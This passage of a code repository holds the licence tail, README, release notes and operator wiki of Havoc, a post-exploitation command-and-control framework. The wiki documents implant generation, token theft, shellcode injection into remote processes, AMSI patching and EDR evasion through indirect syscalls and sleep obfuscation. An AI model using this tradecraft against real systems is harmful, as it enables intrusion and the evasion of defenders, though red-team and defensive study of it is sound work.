COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<https://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
  },
  {
    "path": "README.md",
    "content": "<div align=\"center\">\n  <img width=\"125px\" src=\"assets/Havoc.png\" />\n  <h1>Havoc</h1>\n  <br/>\n\n  <p><i>Havoc is a modern and malleable post-exploitation command and control framework, created by <a href=\"https://twitter.com/C5pider\">@C5pider</a>.</i></p>\n  <br />\n\n  <img src=\"assets/Screenshots/FullSessionGraph.jpeg\" width=\"90%\" /><br />\n  <img src=\"assets/Screenshots/MultiUserAgentControl.png\" width=\"90%\" /><br />\n  \n</div>\n\n### Quick Start\n\n> Please see the [Wiki](https://github.com/HavocFramework/Havoc/wiki) for complete documentation.\n\nHavoc works well on Debian 10/11, Ubuntu 20.04/22.04 and Kali Linux. It's recommended to use the latest versions possible to avoid issues. You'll need a modern version of Qt and Python 3.10.x to avoid build issues.\n\nSee the [Installation](https://havocframework.com/docs/installation) docs for instructions. If you run into issues, check the [Known Issues](https://github.com/HavocFramework/Havoc/wiki#known-issues) page as well as the open/closed [Issues](https://github.com/HavocFramework/Havoc/issues) list.\n\n---\n\n### Features\n\n#### Client\n\n> Cross-platform UI written in C++ and Qt\n\n- Modern, dark theme based on [Dracula](https://draculatheme.com/)\n\n\n#### Teamserver\n\n> Written in Golang\n\n- Multiplayer\n- Payload generation (exe/shellcode/dll)\n- HTTP/HTTPS listeners\n- Customizable C2 profiles \n- External C2\n\n#### Demon\n\n> Havoc's flagship agent written in C and ASM\n\n- Sleep Obfuscation via [Ekko](https://github.com/Cracked5pider/Ekko), Ziliean or [FOLIAGE](https://github.com/SecIdiot/FOLIAGE)\n- x64 return address spoofing\n- Indirect Syscalls for Nt* APIs\n- SMB support\n- Token vault\n- Variety of built-in post-exploitation commands\n- Patching Amsi/Etw via Hardware breakpoints\n- Proxy library loading\n- Stack duplication during sleep. \n\n<div align=\"center\">\n  <img src=\"assets/Screenshots/SessionConsoleHelp.png\" width=\"90%\" /><br />\n</div>\n\n#### Extensibility\n\n- [External C2](https://github.com/HavocFramework/Havoc/wiki#external-c2)\n- Custom Agent Support\n  - [Talon](https://github.com/HavocFramework/Talon)\n- [Python API](https://github.com/HavocFramework/havoc-py)\n- [Modules](https://github.com/HavocFramework/Modules)\n\n---\n\n### Community\n\nYou can join the official [Havoc Discord](https://discord.gg/z3PF3NRDE5) to chat with the community! \n\n### Note\n\nPlease do not open any issues regarding detection. \n\nThe Havoc Framework hasn't been developed to be evasive. Rather it has been designed to be as malleable & modular as possible. Giving the operator the capability to add custom features or modules that evades their targets detection system. \n"
  },
  {
    "path": "RELEASE.md",
    "content": "Because Havoc does not currently publish \"releases\" on GitHub, this document serves as a historical record of all major revision changes. This information was gathered from the Discord channel and is not all-inclusive of every change made.\n\n# Change History\n\n## Version `0.2` | `Magician's Red`\n\n- added command 'shellcode execute' for self injection / execute shellcode in the current process\n- UI/UX Fixes (removed placeholders of Process list)\n- UI fix: you couldn't reopen process list / file explorer after closing them. Now you can. \n- added support for long running jobs / commands / modules. \n- fix some things in wiki.\n\nCommit: https://github.com/HavocFramework/Havoc/commit/31db84b432d57d7f5d234791455b18260f00cd40\n\n## Version `0.3` | `Hermit Purple`\n\n- added new session icons\n- added lateral movement command 'jump-exec psexec' \n- added lateral movement command 'jump-exec scshell' \n- added service executable payload\n- added new python api demon.ProcessCreate \n\nCommit: https://github.com/HavocFramework/Havoc/commit/db8c75f2510096d848999889f03263013eab3120 \n\n## Version `0.4` | `Silver Chariot`\n\n- Chunked downloading of files\n- Threaded inline assembly execution (while sleep obf is still usable)\n- reverse port forwarding\n- webhooks for discord\n- smb agent fixes\n- bug fixes\n\nCommit: https://github.com/HavocFramework/Havoc/commit/d98f8b692b9c0fe79b6d153b6f34167589082789 \n\n### Version `0.4.1` | `The Fool`\n\n- Socks4a Proxy \n- bug fixes\n- vuln fix in the service api (found by hyperreality)\n\nCommit: https://github.com/HavocFramework/Havoc/commit/133f6ead8085147dc39beb368c41aead2873927e\n\n### Version `0.5` | `Emporer`\n\n- upgraded socks4a to socks5\n- improved support for redirectors\n- 'Health' tab\n- add working hours\n- refactored BOF loader\n- add several default BOFs\n- add kill date\n- add sleep jitter\n- add kerberos native support\n- add incognito 'find-tokens'\n- add DLL reflective loader (Kayn)\n- refactor TS logs\n\nCommits/PR: https://github.com/HavocFramework/Havoc/pull/310\n\n### Version `0.6` | `Hierophant Green`\n\n- refactored/rewritten indirect syscalls (no more RX/RWX stubs)\n- proxy library loading\n- random order module & function resolving.\n- x86 demon implants.\n- cross process arch injection\n- AMSI/ETW patching using Hardware breakpoints\n- overall agent refactoring and bug fixes\n\nPush: https://github.com/HavocFramework/Havoc/pull/371\n"
  },
  {
    "path": "WIKI.MD",
    "content": "# Havoc\n\nHavoc is a modern and malleable post-exploitation command and control framework.\n\n#### Table of Contents\n- [Havoc](#havoc)\n      - [Table of Contents](#table-of-contents)\n  - [ Version History](#-version-history)\n    - [0.2 / Magicians Red](#02--magicians-red)\n  - [Known Issues](#known-issues)\n    - [Kali Linux Font/Formatting Issues](#kali-linux-fontformatting-issues)\n    - [Build Errors](#build-errors)\n      - [`fatal error: Python.h: No such file or directory`](#fatal-error-pythonh-no-such-file-or-directory)\n      - [`incomplete type ‘QTime’ used in nested name specifier`](#incomplete-type-qtime-used-in-nested-name-specifier)\n      - [`Known compiler issue: [-] Couldn't compile implant: exit status 1`](#known-compiler-issue---couldnt-compile-implant-exit-status-1)\n  - [Installation](#installation)\n    - [ Local](#-local)\n      - [Pre-requisites](#pre-requisites)\n      - [Ubuntu 20.04 / 22.04](#ubuntu-2004--2204)\n      - [Debian 10/11](#debian-1011)\n      - [MacOS](#macos)\n    - [Building the Client](#building-the-client)\n    - [Building the Teamserver](#building-the-teamserver)\n    - [ Docker](#-docker)\n    - [ Jenkins Docker Build](#-jenkins-docker-build)\n    - [ Creating a Listener, and Spawning an Agent](#-creating-a-listener-and-spawning-an-agent)\n  - [Teamserver](#teamserver)\n    - [ Starting the Teamserver](#-starting-the-teamserver)\n    - [Arguments](#arguments)\n      - [Enabling DEBUG Output](#enabling-debug-output)\n    - [Profiles](#profiles)\n      - [Teamserver](#teamserver-1)\n      - [Operators](#operators)\n      - [Demon](#demon)\n      - [Listeners](#listeners)\n  - [Client](#client)\n    - [Starting the Client](#starting-the-client)\n    - [Connecting to the Teamserver](#connecting-to-the-teamserver)\n  - [Agents](#agents)\n    - [Demon](#demon-1)\n      - [Generating a Demon Payload](#generating-a-demon-payload)\n      - [Layout](#layout)\n      - [ Features](#-features)\n        - [Indirect Syscalls](#indirect-syscalls)\n      - [Commands](#commands)\n        - [`checkin`](#checkin)\n        - [`sleep`](#sleep)\n        - [`job`](#job)\n        - [`proc`](#proc)\n        - [`token`](#token)\n        - [`shellcode`](#shellcode)\n        - [`dotnet`](#dotnet)\n  - [ExternalC2](#externalc2)\n  - [Custom Agents](#custom-agents)\n  - [Python API](#python-api)\n  - [Modules](#modules)\n  - [FAQ](#faq)\n    - [Why does Havoc not perform sleep obfuscation when jobs are running?](#why-does-havoc-not-perform-sleep-obfuscation-when-jobs-are-running)\n--------------------\n\n## <a name=\"vhistory\"></a> Version History\n\n### 0.2 / Magicians Red\n> Magician's Red (Majishanzu Reddo) is the Stand of Muhammad Avdol, featured in Stardust Crusaders.\n- Second public 'release' of Havoc.\n\n`0.1 / Star Platinum`\n> Named after the Stand of [Jotaro Kujo](https://jojo.fandom.com/wiki/Star_Platinum) in JoJo's Bizzare Adventure, Star Platinum was among the very first Stands introduced.\n\n- The first, public release of Havoc.\n\n---\n\n## <a name=\"kissues\"></a>Known Issues\n\n> See the Issues tab for all open issues. \n\n### Kali Linux Font/Formatting Issues\n\nKali has issues loading the proper font (Monaco) from the embedeed Qt resources file.\n\n_You will experience formatting issues in the Havoc client if you are not using a monospace/fixed-width font!_\n\n### Build Errors \n\n#### `fatal error: Python.h: No such file or directory`\n\nIf you get an error that `Python.h` isn't found when building, you need to make sure Python 3.10 is installed and you have the Python 3.10 development files. If you are using Ubuntu LTS you may need to leverage a PPA such as `deadsnakes` to get a newer version of Python.\n\n```\nsudo apt install build-essential\nsudo add-apt-repository ppa:deadsnakes/ppa\nsudo apt update\nsudo apt install python3.10 python3.10-dev\n```\n\n#### `incomplete type ‘QTime’ used in nested name specifier`\n\nYou probably need a newer version of Qt. If you are using Ubuntu try adding a backports ppa and installing the latest qt6 dev packages.\nPlease see https://github.com/HavocFramework/Havoc/issues/95.\n\n#### `Known compiler issue: [-] Couldn't compile implant: exit status 1`\n\nPlease see https://github.com/HavocFramework/Havoc/issues/105.\n\n---\n\n## <a name=\"install\"></a>Installation\n\n### <a name=\"il\"></a> Local\n\n#### Pre-requisites\n> The immediate following is for Debian based Distros only.\n```\nsudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev libspdlog-dev python3-dev libboost-all-dev mingw-w64 nasm\n```\n\n\n#### Ubuntu 20.04 / 22.04\n\n> You must enable Python 3.10 in your APT repositories before you can run the Client successfully.\n\n```\nsudo add-apt-repository ppa:deadsnakes/ppa\nsudo apt update\nsudo apt install python3.10 python3.10-dev\n```\n\n#### Debian 10/11\n\n> You must setup the `bookworm` repo for Python 3.10.\n\n```\necho 'deb http://ftp.de.debian.org/debian bookworm main' >> /etc/apt/sources.list\nsudo apt update\nsudo apt install python3-dev python3.10-dev libpython3.10 libpython3.10-dev python3.10\n```\n\n#### Arch-based Distros\n\n```\nsudo pacman -S git gcc base-devel cmake fontconfig glu gtest spdlog boost boost-libs ncurses gdbm openssl readline libffi sqlite bzip2 mesa qt5-base qt5-websockets python3 nasm mingw-w64-gcc\n```\n\n#### MacOS\n\n> You must have [`homebrew`](https://brew.sh) installed.\n```\nbrew install --cask cmake\nbrew install python@3.10 qt@5 spdlog golang\nbrew link --overwrite qt@5\n```\n\n### <a name=\"bclient\"></a>Building the Client\n\nClone the repository:\n```\ngit clone https://github.com/HavocFramework/Havoc.git\n```\n\nBuild and Run:\n```\n# Build the client Binary (From Havoc Root Directory)\nmake client-build\n\n# Run the client\n./havoc client\n```\n\n> On macOS, run `brew unlink qt && brew link qt` after cmake build is done.\n\n> On WSL navigate to https://learn.microsoft.com/en-us/windows/wsl/tutorials/gui-apps and download the needed driver for the GUI to launch.\n\n### <a name=\"bteam\"></a>Building the Teamserver\n\nInstall additional Go dependencies:\n```\ngo mod download golang.org/x/sys  \ngo mod download github.com/ugorji/go\n```\n\nBuild and Run:\n```\n# Install musl Compiler & Build Binary (From Havoc Root Directory)\nmake ts-build\n\n# Run the teamserver\nsudo ./havoc server --profile ./profiles/havoc.yaotl -v --debug\n``` \n\nAll files created during interaction with the Teamserver are stored within the `/Havoc/data/*` folder.\n\n\n### <a name=\"idc\"></a> Docker\n\nBuild the Dockerfile with Jenkins:\n`sudo docker build -t havoc-client -f Client-Dockerfile .`\n\nCreate data volume for persistence (optional):\n`sudo docker volume create havoc-c2-client`\n\nRun the container:\n`sudo docker run -p 443:443 -p 40056:40056 -it -d -v havoc-c2-client:/data havoc-client`\n\nEnter the container and run the Client:\n- NOT COMPLETE\n\n### <a name=\"ijd\"></a> Jenkins Docker Build\n\nBuild the Dockerfile with Jenkins:\n`sudo docker build -f JC-Dockerfile .`\n\nRun the container:\n`sudo docker run -p8080:8080 -it -d -v havoc-c2-data:/data havoc-client`\n\nVisit Jenkins at `localhost:8080` and create a pipeline to build the Havoc Teamserver.\n- See `Havoc-Teamserver.groovy` in the `assets` folder.\n\n\n### <a name=\"aquick\"></a> Creating a Listener, and Spawning an Agent\nThis part assumes you have a Teamserver running, with a Teamserver-client connected to the running instance.\n- Creating a Listener:\n    1. To create a new listener, we must first open the `Listeners` subwindow.\n        * To do this, in the upper left hand corner, click on the `View` button, and then on the `Listeners` button in the drop down menu.\n        * ![Listeners-select](./assets/Screenshots/Listeners-select.png)    \n    2. You should see a new sub window in the bottom of the server window, with the title of `Listeners` on the header tab.\n    3. You should also now see three(3) buttons on the bottom of the server window, `Add`, `Remove` and `Edit`.\n        * ![Listeners-Add-select](./assets/Screenshots/Listeners-Add-New-Remove.png)\n    4. We want to click the `Add` button.\n    5. Once we click the `Add` button, you should see a new window come up, with the title of `Create Listener`.\n        * ![Listeners-New](./assets/Screenshots/Listener-new.png)\n    6. We will want to fill out the appropriate information for each field in the `Create Listener` window.\n    7. After entering the appropriate information into each field, then click the `Save` button.\n    8. The window will close, and you will now see a new line in the `Listeners` sub-window.\n        * ![Listener-created](./assets/Screenshots/Listener-created.png)\n    9. We now have an active Listener, and are ready to receive an incoming agent's communications!\n- Spawning an Agent:\n    1. To create an Agent Payload, we must first open the `Payload` window.\n        * We can do so by going up to the upper left hand corner, and clicking on the `Attack` button. \n    2. Doing so, we see the `Payload` button appear in the drop down menu. We want to then click on it.\n        * ![Agent-select](./assets/Screenshots/Agent-select.png)\n    3. This will open the `Payload` window, where we may then configure the various options for generating our payload.\n        * ![Agent-creation](./assets/Screenshots/Agent-create.png)\n    4. Once we have selected the appropriate options, we then click on the `Generate` button.\n    5. It might take a little bit for the compilation to take place. Once it has completed, it will prompt you as to where to save the resulting file output.\n    6. After selecting where to save the file, you will now have a generated agent ready for execution or injection!\n\n\n---\n\n## <a name=\"teamserver\"></a>Teamserver\n\nThe Havoc Teamserver is written in Golang. It handles the listeners, teamserver authentication and payload generation. It also supports ExternalC2 functionality through the configuration of Service endpoints.\n\n### <a name=\"stt\"></a> Starting the Teamserver\n\nRunning `./teamserver server --profile ./profiles/havoc.yaotl -v --debug` will launch the built Teamserver with verbosity and debugging enabled.\n\nData collected by the Teamserver is stored in the `/Havoc/data/*` directory.\n\n### <a name=\"targ\"></a>Arguments\n\nUsage: `teamserver [command] [flags]`\n\nHere is a full list of arguments that can be passed to the teamserver:\n\n| Command  | Flag | Description | Args |\n| -------- | ---- | ----------- | ----- |\n| `server` |`--profile` | The configuration profile to load at start | Teamserver profile path (`string`) |\n|  | `-v` / `--verbose` | Enable verbose output | |\n|  | `-d` / `--debug` | Enable debug output | |\n|  | `-h` / `--help` | Output server help | |\n|  | `--debug-dev` | Enables DEBUG output (see below for caveats) | |\n\n#### Enabling DEBUG Output\n\n> DEBUG output can be enabled by passing the `--debug-dev` flag to the Teamserver.\n\nWhen this flag is set, the Teamserver's `builder` class adds the `-D DEBUG` flag to the `builder.compilerOptions.CFlags` array and removes the `-nostdlib` flag to enable output to be printed to the console. Demon agent payloads generated from the Havoc client will print visible DEBUG text in the console window after execution. The stdlib will be linked into the payload for this to occur, increasing the payload size.\n\n### <a name=\"tprofiles\"></a>Profiles\n\nHavoc's Teamserver uses profiles in the `yaotl` format, which is a custom configuration syntax built on top of [HCL](https://github.com/hashicorp/hcl).\n\nProfiles are located at: `Havoc/Teamserver/profiles` and can be passed to the `teamserver` with the `--profile <path-to-profile` flag.\n\nThe default example profile can be found at `Havoc/Teamserver/profiles/havoc_default.yaotl`.\n\n\n#### <a name=\"pteam\"></a>Teamserver\nThe teamserver can be configured to listen on a specific bind address and port with the following directive:\n\n```hcl\nTeamserver { \n    Host = \"0.0.0.0\"\n    Port = 40056\n}\n```\n\n- `Host` - The bind address used by the teamserver to accept Client connections.\n- `Port` - The port the teamserver listens on for Client connections.\n\n#### <a name=\"pops\"></a>Operators\n\nMultiple users can be added to the Teamserver with the Operators directive:\n\n```hcl\nOperators {\n    user \"5pider\" {\n        Password = \"password1234\"\n    }\n\n    user \"Neo\" {\n        Password = \"password1234\"\n    }\n}\n```\n\n#### <a name=\"pdemon\"></a>Demon\n\nThe primary Demon agent accepts a number of configuration options such as:\n\n```hcl\nDemon {\n    Sleep   = 2\n    Jitter  = 20\n\n    TrustXForwardedFor = false\n\n    Implant {\n        SleepMask = 1\n        SleepMaskTechnique = 0\n    }\n\n    Injection {\n        Spawn64 = \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n        Spawn32 = \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\"\n    }\n}\n```\n\n- `Sleep` - The default interval to sleep between check-ins for commands.\n- `Jitter` - The amount of jitter to be applied to sleep intervals (in percentage).\n\n- `TrustXForwardedFor` - If true, the public IP of every agent will be set to the value of the X-Forwarded-For header. Only enable if the teamserver is behind a redirector\n\n- `Implant\\SleepMask` - Enables the Sleep Mask obfuscation\n- `Implant\\SleepMaskTechnique` - Chose from a variety of built-in sleep mask techniques:\n    - `0` - [WaitForSingleObjectEx](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobjectex) (no obfuscation)\n    - `1` - [FOLIAGE](https://github.com/SecIdiot/FOLIAGE)\n    - `2` - [Ekko](https://github.com/Cracked5pider/Ekko)\n\n- `Injection\\Spawn64` - The full path to the process to spawn into for fork & run operations (64bit).\n- `Injection\\Spawn32` - The full path to the process to spawn into for fork & run operations (32bit).\n\n#### <a name=\"plisten\"></a>Listeners\n\n> Currently, only HTTP/HTTPS listeners are supported.\n\nHavoc supports multiple listener profiles and a variety of configuration options to help customize them.\n\n```hcl\nListeners {\n    Http {\n        Name         = \"HTTPS Listener\"\n        KillDate     = \"2006-01-02 15:04:05\"\n        WorkingHours = \"8:00-17:00\"\n        Hosts        = [\"10.0.0.10\"]\n        PortBind     = 443\n        PortConn     = 443\n        Method       = \"POST\"\n        Secure       = true\n        UserAgent    = \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36\"\n        Uris         = [\n            \"/funny_cat.gif\",\n            \"/index.php\",\n            \"/test.txt\",\n            \"/helloworld.js\"\n        ]\n        Headers      = [\n            \"X-Havoc: true\",\n            \"X-Havoc-Agent: Demon\",\n        ]\n\n        Response {\n            Headers  = [\n                \"Content-type: text/plain\",\n                \"X-IsHavocFramework: true\",\n            ]\n        }\n\n    }\n}\n```\n\n- `Name` - Name of the listener\n- `KillDate` - (Optional) Date in which the Demon will terminate itself in UTC\n- `WorkingHours` - (Optional) The hours in which Demon will check in\n- `Hosts` - The list of domains that Demon will use to reach the teamserver\n- `PortBind` - Port that the teamserver will bind to\n- `PortConn` - Port used by Demon to access the teamserver, if not set, PortBind is used\n- `Method` - Method to use while checking in (GET or POST)\n- `Secure` - true for HTTPS, false for HTTP\n- `UserAgent` - The User Agent that Demon will use\n- `Uris` - The paths that Demon will use. If more than one is provided, Demon chooses one at random each time\n- `Headers` - Request headers that Demon will include in all requests\n- `Response-Headers` - Response headers that the server will include in all responses\n\n---\n\n## <a name=\"client\"></a>Client\n\nThe Havoc Client is written in C++ and Qt.\n\n### <a name=\"cstc\"></a>Starting the Client\n\n```\ncd Havoc\n./havoc client\n```\nRunning `./havoc client` will start the Client.\n\n\n### <a name=\"cctt\"></a>Connecting to the Teamserver\n\nWhen the client opens, you will be presented with a profile window similar to that in other C2 frameworks like Cobalt Strike. \n\n![teamserver-client](./assets/Screenshots/Teamserver-Client-Fresh.png)\n\nEnter the profile name, teamserver bind address (`Host`) and `Port`, along with your defined username/password in the teamserver profile. \nThen hit 'Connect' to connect your configured teamserver.\n\n![teamserver-and-client](./assets/Screenshots/Teamserver-LoggedIn.png)\n\n\n\n---\n\n## <a name=\"agents\"></a>Agents\n\n### <a name=\"ademon\"></a>Demon\n\nDemon is the primary Havoc agent, written in C/ASM. The source-code is located at `Havoc/payloads/Demon`.\n\n#### <a name=\"adgen\"></a>Generating a Demon Payload\n\n> Currently, only x64 EXE/DLL formats are supported.\n\nFrom the Havoc UI, nagivate to `Attack -> Payload`. \n\n#### <a name=\"adlay\"></a>Layout\n\n| Directory       | Description                                           |\n| --------------- | ----------------------------------------------------- |\n| `Source/Asm`    | Assembly code (return address stack spoofing)         |\n| `Source/Core`   | Core functionality (transport, win32 apis, syscalls)  |\n| `Source/Crypt`  | AES encryption functionality                          |\n| `Source/Extra`  | KaynLdr (reflective loader)                           |\n| `Source/Inject` | Injection functionality                               |\n| `Source/Loader` | COFF Loader, Beacon API                               |\n| `Source/Main`   | PE/DLL/RDLL Entry Points                              |\n\n#### <a name=\"adft\"></a> Features\n\n##### Indirect Syscalls\n\nWhen compiled with `OBF_SYSCALL`, Demon performs indirect syscalls for many Nt* APIs. By masquerading the `RIP` to point to a location within `ntdll.dll`, traps placed by EDR solutions (such as process instrumentation callbacks or other forms of sycall tracing)may be evaded. \n\nThe Syscall logic is primarily contained within `/Teamserver/data/implants/Demon/Source/Core/Syscalls.c`\n\nSyscall stubs are dynamically crafted from ntdll.dll on disk and modified so the return address points to `NtAddBootEntry (0x180024b6)` within the ntdll.dll module.\n\n#### <a name=\"adcmds\"></a>Commands\n\nDemon has a variety of commands built-in. It also supports the dynamic modification of configuration at runtime, allowing operators to customize defaults pre-set in the profiles throughout an engagement, without modifying the profile and re-generating a payload.\n\nFull documentation on commands can be accessed from the Havoc client by typing `help` in the interact window. For more information on a particular command, simply tack it on the end of help like so: `help [command]`\n\n##### `checkin`\n\nRequests a checkin request from the Demon. This will output some basic system/configuration information to the Havoc client such as:\n\n- Demon Metadata\n    - Magic values\n    - First/Last call in timestamps\n    - AES Key and IV\n    - Sleep Delay\n- Host Information\n    - Hostname\n    - Username\n    - Domain Name\n    - Internal IP(s)\n- Process Information\n    - Name\n    - Architecture\n    - PID\n    - Path\n    - Elevated\n- Operating System\n    - Version\n    - Build\n    - Architecture\n\n##### `sleep`\n\nDemon supports sleeping at a specified delay (seconds) with a randomized jitter amount applied in the profile configuration settings.\n\n`sleep [delay]`\n\nWhen the Demon sleeps, it first checks if Sleep Masking is enabled in the profile configuration. If so, as long as there are no active job threads running, it will begin to apply the specified sleep obfuscation method and wait until the provided delay to \"wake up\" and check-in to the teamserver again.\n\nDuring sleep, x64 demons may implement [return address spoofing](https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html) to hide the real return address.\n\n##### `job`\n\nDemon implements a multi-threaded job management system that allows the operator to manage long-running tasks. \n\n> OPSEC NOTE: Long-running jobs will PREVENT sleep obfuscation from occurring at the specified sleep interval due to the other threads running. Sleep obfuscation will only occur when there are no job threads in a running state.\n\n- `job list` - Lists all running jobs.\n- `job suspend 1` - Suspends a job with the ID of 1\n- `job resume 1` - Resumes a job with the ID of 1\n- `job kill 1` - Kills a job with the ID of 1\n\n##### `proc`\n\nProcess management and enumeration system.\n\n`proc [command]`\n\n- `proc list` - Display a list of running processes on the target.\n- `proc kill [pid]` - Kills a process with the specified PID\n- `proc create [state] [process] (args)` Start a process either in suspended or normal mode.\n- `proc module [pid]` lists loaded modules from the specified process. \n- `proc grep [process name]` searches for specified running process and shows Process Name, Process ID, Process Parent PID, Process User, Process Arch\n- `proc memory [pid] [memory protection]` queries process memory pages with specified Protection. \n\n\n##### `token`\n\nDemon implements a token management vault that allows for token theft, impersonation and privilege modification. All tokens are preserved within a token vault, allowing the operator to list and impersonate any stolen token when convenient.\n\n> Tokens are duplicated using `SecurityIdentification` and `SecurityImpersonate` privileges, allowing `OpenThreadToken` to work on impersonated UIDs with OpenAsSelf set to TRUE.\n\n- `token getuid` - Prints the current user id from the token\n- `token list` - List all stolen tokens in the token vault\n- `token find-tokens` - Find all tokens that can be stolen on the system\n- `token steal [pid] (handle)` - Steal the token from the specified PID and save it to the token vault\n- `token impersonate [id]` - Impersonate a token from the token vault\n- `token make [domain] [username] [password]` - Creates a token from the specified credentials and adds it to the vault\n- `token privs-get` - Attempt to acquire all privileges from the current token\n- `token privs-list` - List all privileges from the current token\n- `token revert` - Reverts back to the default process token\n- `token remove [id]` - Removes a token from the vault\n- `token clear` - Removes all tokens from the vault.\n\n##### `shellcode`\n\nDemon is capable of injecting shellcode (supplied in raw format as a path) into remote processes using process injection or fork & run. Depending on the technique, operators can chose to use higher-level Win32 APIs or NT versions using indirect syscalls.\n\n- `shellcode inject x64 [pid] [path-to-raw-shellcode]` - Injects shellcode into the remote process\n- `shellcode spawn x64 [path-to-raw-shellcode]` - Launches the defined fork & run process and injects the shellcode\n\n> OPSEC NOTE: Depending on your injection technique and configuration settings, certain API calls may be performed outside of indirect syscalls. \n\nHere is a high-level overview of each supported process injection technique:\n\n> `*` means the API call is performed with indirect syscalls\n\n**`INJECTION_TECHNIQUE_SYSCALL`**\n1. `CreateProcessA`\n2. Allocate Memory\n    - `DX_MEM_WIN32 -> VirtualAllocEx`\n    - `DX_MEM_SYSCALL -> NtAllocateVirtualMemory*`\n3. `NtWriteVirtualMemory*`\n4. `NtProtectVirtualMemory*`\n5. Create Thread \n    - `DX_THREAD_WIN32 -> CreateRemoteThread`\n    - `DX_THREAD_SYSCALL -> NtCreateThreadEx*`\n6. `NtResumeThread*`\n\n##### `dotnet`\n\n- `dotnet list-versions` - Lists all of the installed dotnet versions\n- `dotnet inline-execute [path-to-assembly] [args]` - Executes the dotnet assembly inside of the current process and returns output\n\n> OPSEC NOTE: Calling `inline-execute` creates an instance of the CLR (Common Language Runtime) within the demon's process to execute dotnet assemblies. This is an irreversible procedure and may provide more IoCs to defenders.\n\nThe `inline-execute` works by first creating an instance of the CLR (Common Language Runtime) within the current Demon process. After the CLR is created, `amsi.dll` is loaded and patched in-memory to bypass AMSI scanning. Demon then creates an AppDomain and loads the assembly into memory, finding the entry point and passing the commandline args supplied by the user before invoking the method. Output from the assembly is captured and returned to the teamserver.\n\n\n(INCOMPLETE)\n\n---\n\n## <a name=\"extc2\"></a>ExternalC2\n\nHavoc supports custom agents and ExternalC2 by using Teamserver service endpoints. These are configured using `Service` directives (see the Teamserver Profiles documentation).\n\nThe Service module is for interacting with external services (custom agents, ExternalC2, etc). \n\nBy registering a Service directive, the Teamserver will automatically spawn a service listener that can route commands to/from the Teamserver.\n\n```hcl\nService {\n    Endpoint = \"service-endpoint\"\n    Password = \"service-password\"\n}\n```\n\nThis would create a service endpoint at 